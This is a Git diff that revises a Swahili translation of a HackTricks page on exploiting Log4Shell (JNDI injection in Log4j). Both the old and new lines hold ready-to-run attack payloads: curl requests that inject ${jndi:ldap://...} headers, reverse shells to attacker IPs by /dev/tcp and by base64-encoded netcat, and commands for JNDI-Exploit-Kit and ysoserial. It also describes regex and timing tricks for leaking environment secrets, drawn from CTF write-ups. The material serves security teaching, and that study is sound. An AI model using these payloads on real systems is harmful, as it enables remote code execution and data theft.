Katika _com.feihong.ldap.gadgets_ unaweza kupata **gadgets maalum** ambayo yanaweza kutumika kutekeleza hatua inayotakiwa (kimsingi kutekeleza nambari ya kupindukia). Na katika _com.feihong.ldap.template_ unaweza kuona darasa tofauti za templeti ambazo zitakazosaidia **kuzalisha mashambulizi**.
|
||||
|
||||
Unaweza kuona mashambulizi yote yanayopatikana kwa **`java -jar JNDIExploit-1.2-SNAPSHOT.jar -u`**. Baadhi ya mashambulizi yanayoweza kusaidia ni:
|
||||
```bash
|
||||
|
@ -294,13 +295,13 @@ curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Comma
|
|||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/ReverseShell/172.17.0.1/4444}'
|
||||
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://172.17.0.1:1389/Basic/Command/Base64/bmMgMTcyLjE3LjAuMSA0NDQ0IC1lIC9iaW4vc2gK}'
|
||||
```
|
||||
Wakati unatuma mashambulizi utaona baadhi ya matokeo kwenye terminal ambapo ulitekeleza **JNDIExploit-1.2-SNAPSHOT.jar**.
|
||||
Uponyeshapo mashambulizi utaona baadhi ya matokeo kwenye terminal ambapo ulitekeleza **JNDIExploit-1.2-SNAPSHOT.jar**.
|
||||
|
||||
**Kumbuka kuangalia `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` kwa chaguo zingine za uchomaji. Zaidi ya hayo, kama unahitaji, unaweza kubadilisha bandari ya seva za LDAP na HTTP.**
|
||||
**Kumbuka kuangalia `java -jar JNDIExploit-1.2-SNAPSHOT.jar -u` kwa chaguo zingine za uchimbaji. Zaidi ya hayo, kama unahitaji, unaweza kubadilisha mlango wa seva za LDAP na HTTP.**
|
||||
|
||||
### RCE - JNDI-Exploit-Kit <a href="#rce__jndiexploitkit_33" id="rce__jndiexploitkit_33"></a>
|
||||
|
||||
Kwa njia kama ile ya uchomaji uliopita, unaweza kujaribu kutumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kuchexploit udhaifu huu.\
|
||||
Kwa njia kama ile ya uchimbaji wa awali, unaweza kujaribu kutumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kuchimba udhaifu huu.\
|
||||
Unaweza kuzalisha URL za kutuma kwa muathiriwa kwa kukimbia:
|
||||
```bash
|
||||
# Get reverse shell in port 4444 (only unix)
|
||||
|
@ -309,24 +310,28 @@ java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.
|
|||
# Execute command
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 172.17.0.1:1389 -J 172.17.0.1:8888 -C "touch /tmp/log4shell"
|
||||
```
|
||||
_Kushambulia hii kutumia kitu cha Java kilichotengenezwa kwa kawaida kitafanya kazi katika maabara kama **chumba cha jua cha THM**. Walakini, hii kwa kawaida haitafanya kazi (kwa sababu kwa chaguo-msingi Java haijaundwa kwa ajili ya kupakia msingi wa kanuni kutumia LDAP) nadhani kwa sababu haikosi kutumia darasa lililoidhinishwa kutekeleza kanuni za kupindukia._
|
||||
_Kushambulia hii kwa kutumia kitu cha java kilichotengenezwa kwa kawaida kitafanya kazi katika maabara kama **chumba cha jua cha THM**. Hata hivyo, kwa kawaida haitafanya kazi (kwa sababu kwa chaguo-msingi Java haijaundwa kwa ajili ya kupakia msingi wa kanuni kutumia LDAP) nadhani kwa sababu haichukulii darasa lililoaminika kutekeleza kanuni za kupindukia._
|
||||
|
||||
### RCE - JNDI-Injection-Exploit-Plus
|
||||
|
||||
[https://github.com/cckuailong/JNDI-Injection-Exploit-Plus](https://github.com/cckuailong/JNDI-Injection-Exploit-Plus) ni chombo kingine cha kutengeneza **viungo vya JNDI vinavyofanya kazi** na kutoa huduma za msingi kwa kuanzisha seva ya RMI, seva ya LDAP, na seva ya HTTP.\
|
||||
|
||||
### RCE - ysoserial & JNDI-Exploit-Kit
|
||||
|
||||
Chaguo hili ni muhimu sana kushambulia **toleo la Java lililojengwa kwa kudhamini darasa maalum na sio kila mtu**. Kwa hivyo, **ysoserial** itatumika kutengeneza **uwekaji wa darasa za kuaminika** ambazo zinaweza kutumika kama vifaa vya **kutekeleza kanuni za kupindukia** (_darasa lililoidhinishwa na ysoserial lazima litumiwe na programu ya Java ya mwathiriwa ili shambulio lifanye kazi_).
|
||||
Chaguo hili ni muhimu sana kushambulia **toleo za Java zilizoandaliwa kuamini darasa maalum na si kila mtu**. Kwa hivyo, **ysoserial** itatumika kutengeneza **uwekaji wa darasa za kuaminika** ambazo zinaweza kutumika kama vifaa vya **kutekeleza kanuni za kupindukia** (_darasa lililoaminika lililochukuliwa faida na ysoserial lazima litumiwe na programu ya java ya mwathiriwa ili shambulio lifanye kazi_).
|
||||
|
||||
Kwa kutumia **ysoserial** au [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) unaweza kuunda shambulio la uwekaji wa deserialization ambalo litapakuliwa na JNDI:
|
||||
Kwa kutumia **ysoserial** au [**ysoserial-modified**](https://github.com/pimps/ysoserial-modified) unaweza kuunda shambulio la uharibifu wa deserialization ambalo litapakuliwa na JNDI:
|
||||
```bash
|
||||
# Rev shell via CommonsCollections5
|
||||
java -jar ysoserial-modified.jar CommonsCollections5 bash 'bash -i >& /dev/tcp/10.10.14.10/7878 0>&1' > /tmp/cc5.ser
|
||||
```
|
||||
Tumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kuzalisha **viungo vya JNDI** ambapo shambulio litakuwa linasubiri mawasiliano kutoka kwenye mashine zilizo hatarini. Unaweza kutumikia **shambulio tofauti ambalo linaweza kuzalishwa moja kwa moja** na JNDI-Exploit-Kit au hata **mizigo yako ya deserialization mwenyewe** (iliyozalishwa na wewe au ysoserial).
|
||||
Tumia [**JNDI-Exploit-Kit**](https://github.com/pimps/JNDI-Exploit-Kit) kuzalisha **viungo vya JNDI** ambapo shambulio litakuwa linasubiri mawasiliano kutoka kwenye mashine zilizo hatarini. Unaweza kutumia **shambulio tofauti ambalo linaweza kuzalishwa moja kwa moja** na JNDI-Exploit-Kit au hata **mizigo yako ya deserialization binafsi** (iliyozalishwa na wewe au ysoserial).
|
||||
```bash
|
||||
java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -L 10.10.14.10:1389 -P /tmp/cc5.ser
|
||||
```
|
||||
![](<../../.gitbook/assets/image (642) (1) (1).png>)
|
||||
|
||||
Sasa unaweza kutumia kiungo cha JNDI kilichozalishwa kwa urahisi kuchexploitisha udhaifu na kupata **reverse shell** kwa kutuma kwa toleo lenye udhaifu la log4j: **`${ldap://10.10.14.10:1389/generated}`**
|
||||
Sasa unaweza kutumia kiungo cha JNDI kilichozalishwa kwa urahisi kudukua udhaifu na kupata **reverse shell** kwa kutuma kwa toleo lenye udhaifu la log4j: **`${ldap://10.10.14.10:1389/generated}`**
|
||||
|
||||
### Kupitisha mfumo
|
||||
```java
|
||||
|
@ -366,9 +371,9 @@ Ukurasa wa [**usalama**](https://logging.apache.org/log4j/2.x/security.html) wa
|
|||
|
||||
> Kutoka kwenye toleo la 2.16.0 (kwa Java 8), **kipengele cha kutafuta ujumbe kimeondolewa kabisa**. **Utafutaji kwenye usanidi bado unafanya kazi**. Zaidi ya hayo, Log4j sasa inazima ufikiaji wa JNDI kwa chaguo-msingi. Utafutaji wa JNDI kwenye usanidi sasa unahitaji kuwezeshwa kwa uwazi.
|
||||
|
||||
> Kutoka kwenye toleo la 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), **maneno ya utafutaji kwenye usanidi yanapanuliwa kwa njia ya kurudufu tu**; katika matumizi mengine yoyote, utafutaji wa ngazi ya juu tu unatatuliwa, na utafutaji wowote ulioingizwa kwa ndani hautatatuliwa.
|
||||
> Kutoka kwenye toleo la 2.17.0, (na 2.12.3 na 2.3.1 kwa Java 7 na Java 6), **maneno ya utafutaji kwenye usanidi yanapanuliwa kwa njia ya kurudufu tu**; katika matumizi mengine yoyote, utafutaji wa ngazi ya juu tu unatatuliwa, na utafutaji wowote uliojumuishwa haufanyi kazi.
|
||||
|
||||
Hii inamaanisha kwamba kwa chaguo-msingi unaweza **kusahau kutumia shambulio la `jndi`**. Zaidi ya hayo, ili kufanya **utafutaji wa kurudufu** unahitaji kuwa umewezesha.
|
||||
Hii inamaanisha kwamba kwa chaguo-msingi huwezi **kutumia shambulizi la `jndi`**. Zaidi ya hayo, ili kufanya **utafutaji wa kurudufu** unahitaji kuwa umewezesha.
|
||||
|
||||
Kwa mfano, katika CTF hiyo ilikuwa imeboreshwa kwenye faili log4j2.xml:
|
||||
```xml
|
||||
|
@ -379,31 +384,31 @@ Kwa mfano, katika CTF hiyo ilikuwa imeboreshwa kwenye faili log4j2.xml:
|
|||
```
|
||||
### Utafutaji wa Mazingira
|
||||
|
||||
Katika [CTF hii](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), muhusika alidhibiti thamani ya `${sys:cmd}` na alihitaji kuchota bendera kutoka kwa mazingira ya kipekee.\
|
||||
Kama ilivyoonekana kwenye ukurasa huu katika [**mizigo iliyopita**](jndi-java-naming-and-directory-interface-and-log4shell.md#uthibitisho) kuna njia tofauti za kupata mazingira ya kipekee, kama vile: **`${env:FLAG}`**. Katika CTF hii hii haikuwa na maana lakini inaweza kuwa na maana katika mazingira mengine halisi.
|
||||
Katika [CTF hii](https://sigflag.at/blog/2022/writeup-googlectf2022-log4j/), mkaidi alidhibiti thamani ya `${sys:cmd}` na alihitaji kuchota bendera kutoka kwa mazingira ya kipekee.\
|
||||
Kama ilivyoonekana kwenye ukurasa huu katika [**mizigo iliyopita**](jndi-java-naming-and-directory-interface-and-log4shell.md#verification) kuna njia tofauti za kupata mazingira ya kipekee, kama vile: **`${env:FLAG}`**. Katika CTF hii hii haikuwa na maana lakini inaweza kuwa na maana katika mazingira mengine halisi.
|
||||
|
||||
### Kuchota katika Mifano
|
||||
|
||||
Katika CTF, **haukuweza kupata stderr** ya programu ya java kutumia log4J, lakini **makosa ya Log4J huletwa kwa stdout**, ambayo ilichapishwa kwenye programu ya python. Hii ilimaanisha kwamba kwa kusababisha kosa tungeweza kupata maudhui. Kosa la kuchota bendera lilikuwa: **`${java:${env:FLAG}}`.** Hii inafanya kazi kwa sababu **`${java:CTF{blahblah}}`** haipo na kosa lenye thamani ya bendera litakuwa limeonyeshwa:
|
||||
Katika CTF, haukuweza kupata **stderr** ya programu ya java kutumia log4J, lakini mifano ya Log4J **hutumwa kwa stdout**, ambayo ilichapishwa kwenye programu ya python. Hii ilimaanisha kwamba kwa kusababisha kosa tungeweza kupata maudhui. Kosa la kuchota bendera lilikuwa: **`${java:${env:FLAG}}`.** Hii inafanya kazi kwa sababu **`${java:CTF{blahblah}}`** haipo na kosa lenye thamani ya bendera litakuwa linaonyeshwa:
|
||||
|
||||
![](<../../.gitbook/assets/image (157).png>)
|
||||
|
||||
### Mifano ya Kubadilisha Makosa
|
||||
### Mifano ya Kubadilisha Kigezo
|
||||
|
||||
Kwa kumbukumbu tu, unaweza pia kuingiza [**mifano mpya ya ubadilishaji**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) na kusababisha makosa ambayo yataorodheshwa kwa `stdout`. Kwa mfano:
|
||||
Kwa kumbukumbu tu, unaweza pia kuingiza [**mifano mpya ya ubadilishaji**](https://logging.apache.org/log4j/2.x/manual/layouts.html#PatternLayout) na kusababisha mifano ambayo italogiwa kwa `stdout`. Kwa mfano:
|
||||
|
||||
![](<../../.gitbook/assets/image (3) (2) (1) (1).png>)
|
||||
|
||||
Hii haikuonekana kuwa na manufaa kwa kuchota tarehe ndani ya ujumbe wa kosa, kwa sababu utafutaji haukupatiwa kabla ya mfano wa ubadilishaji, lakini inaweza kuwa na manufaa kwa mambo mengine kama kugundua.
|
||||
Hii haikuonekana kuwa na manufaa kuchota tarehe ndani ya ujumbe wa kosa, kwa sababu utafutaji haukupatiwa kabla ya mfano wa ubadilishaji, lakini inaweza kuwa na manufaa kwa mambo mengine kama kugundua.
|
||||
|
||||
### Mifano ya Kubadilisha Regexes
|
||||
### Mifano ya Kubadilisha Kigezo cha Regex
|
||||
|
||||
Hata hivyo, ni rahisi kutumia baadhi ya **mifano ya ubadilishaji inayounga mkono regexes** kuchota habari kutoka kwa utafutaji kwa kutumia regexes na kutumia tabia za **utafutaji wa binary** au **kulingana na wakati**.
|
||||
Hata hivyo, ni sawa kutumia baadhi ya **mifano ya ubadilishaji inayounga mkono regexes** kuchota habari kutoka kwa utafutaji kwa kutumia regexes na kutumia tabia za **utafutaji wa binary** au **kulingana na wakati**.
|
||||
|
||||
* **Utafutaji wa binary kupitia ujumbe wa makosa**
|
||||
* **Utafutaji wa binary kupitia ujumbe wa kosa**
|
||||
|
||||
Mfano wa ubadilishaji **`%replace`** unaweza kutumika kubadilisha **maudhui** kutoka kwa **herufi** hata kutumia **regexes**. Inafanya kazi kama hivi: `replace{pattern}{regex}{substitution}`\
|
||||
Kwa kufanya tabia hii unaweza kufanya ubadilishaji **usababishe kosa ikiwa regex ililingana** na kitu chochote ndani ya herufi (na hakuna kosa ikiwa haikupatikana) kama hivi:
|
||||
Mfano wa ubadilishaji **`%replace`** unaweza kutumika kubadilisha **maudhui** kutoka kwa **herufi** hata kwa kutumia **regexes**. Inafanya kazi kama hivi: `replace{pattern}{regex}{substitution}`\
|
||||
Kwa kufanya tabia hii unaweza kufanya ubadilishaji **kusababisha kosa ikiwa regex ililinganishwa** na kitu chochote ndani ya herufi (na hakuna kosa ikiwa haikupatikana) kama hivi:
|
||||
```bash
|
||||
%replace{${env:FLAG}}{^CTF.*}{${error}}
|
||||
# The string searched is the env FLAG, the regex searched is ^CTF.*
|
||||
|
@ -411,9 +416,9 @@ Kwa kufanya tabia hii unaweza kufanya ubadilishaji **usababishe kosa ikiwa regex
|
|||
```
|
||||
* **Kulingana na Wakati**
|
||||
|
||||
Kama ilivyotajwa katika sehemu iliyopita, **`%replace`** inasaidia **regexes**. Kwa hivyo ni rahisi kutumia mzigo kutoka kwenye [**ukurasa wa ReDoS**](../regular-expression-denial-of-service-redos.md) kusababisha **muda wa kusubiri** ikiwa bendera itapatikana. Kwa mfano, mzigo kama `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` ungechochea **muda wa kusubiri** katika CTF hiyo.
|
||||
Kama ilivyotajwa katika sehemu iliyopita, **`%replace`** inasaidia **regexes**. Kwa hivyo ni rahisi kutumia mzigo kutoka kwenye [**ukurasa wa ReDoS**](../regular-expression-denial-of-service-redos.md) kusababisha **timeout** ikiwa bendera itapatikana. Kwa mfano, mzigo kama `%replace{${env:FLAG}}{^(?=CTF)((.`_`)`_`)*salt$}{asd}` ungechochea **timeout** katika CTF hiyo.
|
||||
|
||||
Katika [**makala hii**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), badala ya kutumia shambulio la ReDoS, ilifanya shambulio la **kuongeza** ili kusababisha tofauti ya muda katika majibu:
|
||||
Katika [**maandishi haya**](https://intrigus.org/research/2022/07/18/google-ctf-2022-log4j2-writeup/), badala ya kutumia shambulio la ReDoS, ilifanya shambulio la **kuongeza** ili kusababisha tofauti ya wakati katika majibu:
|
||||
|
||||
> ```
|
||||
> /%replace{
|
||||
|
@ -432,9 +437,9 @@ Katika [**makala hii**](https://intrigus.org/research/2022/07/18/google-ctf-2022
|
|||
> }{#}{######################################################}
|
||||
> ```
|
||||
>
|
||||
> Ikiwa bendera inaanza na `flagGuess`, bendera nzima itabadilishwa na `#` 29 (Nilitumia herufi hii kwa sababu labda haitakuwa sehemu ya bendera). **Kila moja ya `#` 29 zinazopatikana kisha zinabadilishwa na `#` 54**. Mchakato huu unarudiwa **mara 6**, ikiongoza kwa jumla ya ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
|
||||
> Ikiwa bendera inaanza na `flagGuess`, bendera nzima itabadilishwa na `#` 29 (Nilitumia herufi hii kwa sababu huenda isiwe sehemu ya bendera). **Kila moja ya `#` 29 zinazopatikana kisha zinabadilishwa na `#` 54**. Mchakato huu unarudiwa **mara 6**, ikiongoza kwa jumla ya ` 29*54*54^6* =`` `` `**`96816014208`** **`#`-s!**
|
||||
>
|
||||
> Kubadilisha `#` nyingi kutasababisha muda wa sekunde 10 wa programu ya Flask, ambayo kwa upande wake itasababisha nambari ya hali ya HTTP 500 kutumwa kwa mtumiaji. (Ikiwa bendera haianzi na `flagGuess`, tutapokea nambari ya hali isiyo ya 500)
|
||||
> Kubadilisha `#` nyingi kutasababisha timeout ya sekunde 10 ya programu ya Flask, ambayo kwa upande wake itasababisha nambari ya hali ya HTTP 500 kutumwa kwa mtumiaji. (Ikiwa bendera haianzi na `flagGuess`, tutapokea nambari ya hali isiyo ya 500)
|
||||
|
||||
## Marejeo
|
||||
|
||||
|
@ -449,19 +454,19 @@ Katika [**makala hii**](https://intrigus.org/research/2022/07/18/google-ctf-2022
|
|||
|
||||
**Kikundi cha Usalama cha Kujitahidi Kufanikiwa**
|
||||
|
||||
<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi kuwa shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kuvamia AWS kutoka mwanzo hadi mtaalamu na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuvamia kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
|
|
Loading…
Add table
Reference in a new issue